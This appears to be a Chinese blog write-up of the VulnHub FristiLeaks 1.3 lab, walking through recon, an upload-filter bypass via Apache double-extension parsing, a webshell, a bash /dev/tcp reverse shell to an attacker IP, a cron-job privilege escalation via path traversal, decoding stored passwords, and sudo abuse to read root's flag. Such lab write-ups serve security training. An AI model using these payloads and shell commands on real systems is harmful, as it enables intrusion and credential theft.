FristiLeaks靶场实战

环境配置

靶机下载地址:

https://download.vulnhub.com/fristileaks/FristiLeaks_1.3.ova

配置虚拟机靶场 MAC address to: 08:00:27:A5:A6:76
在这里插入图片描述

信息收集

通过扫描端口只开放了80端口

在这里插入图片描述
在这里插入图片描述

robots.txt

User-agent: *
Disallow: /cola
Disallow: /sisi
Disallow: /beer

三个目录访问都是一个图片,没有价值

从首页图片上的字母记录下面,后续会用到

keep
calm
drink
fristi

fristi 是一个登录页面
http://192.168.78.153/fristi/
在这里插入图片描述

查看HTML源代码时,发现页面中两处有注释

在这里插入图片描述
在这里插入图片描述

第一处注释 eezeepz 应该是用户名
第二处注释 为图片的base64编码

在HTMl页面中使用下面代码读取图片

<img src="data:img/png;base64,base64编码>

在这里插入图片描述

keKkeKkeKKeKkEkkEk

猜测为eezeepz用户的密码

eezeepz  keKkeKkeKKeKkEkkEk

登录成功
在这里插入图片描述

getshell

使用账户密码登录后,有个文件上传功能
在这里插入图片描述

测试文件上传,设置了白名单功能,只允许png,jpg,gif 格式上传
在这里插入图片描述

但是他的Apache 2.2.15版本存在解析漏洞

Apache/2.2.15 文件解析漏洞

1.%0a(CVE-2017-15715)   也可在php后面写入`%0A`,对`%0A`做一个URL编码,也就是`URL-decode`

2.未知后缀 test.php.png

将文件名设置 88.php.png 上传成功
在这里插入图片描述

文件上传路径:http://192.168.78.153/fristi/uploads/2111.php.png

使用webshell工具连接
在这里插入图片描述
在这里插入图片描述

反弹shell

查看配置文件信息,一般数据库账户就是ssh账户
/var/www/html/fristi//checklogin.php

$host="localhost"; // Host name
$username="eezeepz"; // Mysql username
$password="4ll3maal12#"; // Mysql password
$db_name="hackmenow"; // Database name
$tbl_name="members"; // Table name

反弹shell命令

nc -lvnp 1234
/bin/bash -i >& /dev/tcp/192.168.78.152/1234 0>&1

python -c 'import pty;pty.spawn("/bin/bash")'  进入完全交互式

提权

切换eezeepz 发现数据库的密码不对,思路不对
在这里插入图片描述

去home目录下,翻找文件,有3个用户
在这里插入图片描述

三个用户,只有eezeepz用户目录可查看
在这里插入图片描述
在eezeepz目录下有个notes.txt文件,提示提权信息
/home/eezeepz//notes.txt
在这里插入图片描述

tmp目录创建runthis 文件
echo "/bin/bash -i >& /dev/tcp/192.168.78.152/1245 0>&1" >> runthis
这种写法不行,离谱

command did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bin

这样就可以

echo "/usr/bin/../../bin/chmod -R 777 /home/admin" >/tmp/runthis

在这里插入图片描述

创建文件后就可以查看admin目录,创建runthis获取admin用户权限,主要用cronjob.py脚本实现

在这里插入图片描述

admin目录下 cryptedpass.txt,whoisyourgodnow.txt 两个txt文件内容加密了,使用cryptpass.py脚本加密的,只需要解密就可以了

#cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

解密脚本

import base64, codecs, sys

def decodeString(encoded_str):
    base64string = codecs.decode(encoded_str, 'rot13')[::-1]
    decoded_str = base64.b64decode(base64string)
    print(decoded_str)

  

decodeString("=RFn0AKnlMHMPIzpyuTI0ITG")

cryptedpass.txt,whoisyourgodnow.txt 两个文件解密内容
经过测试下面两个密码分别为 admin和 fristigod 密码

admin thisisalsopw123 
fristigod LetThereBeFristi!

切换 fristigod 用户

su fristigod

在这里插入图片描述

sudo -l

Matching Defaults entries for fristigod on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
    LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User fristigod may run the following commands on this host:
    (fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom

以fristi用户执行doCom 文件,先进入/var/fristigod/.secret_admin_stuff 路径

sudo -u fristi ./doCom

执行文件后提示
Usage: ./program_name terminal_command …
说明执行文件方法不对,需要在文件空格加上命令

sudo -u fristi ./doCom id

在这里插入图片描述

可以看到确实是root权限了,读取flag文件

sudo -u fristi ./doCom cat /root/fristileaks_secrets.txt

在这里插入图片描述

总结

最有趣的就是提权部分了,定时任务提权,python Base64 + rot13 加密,sudo -l 等等。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yr678

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值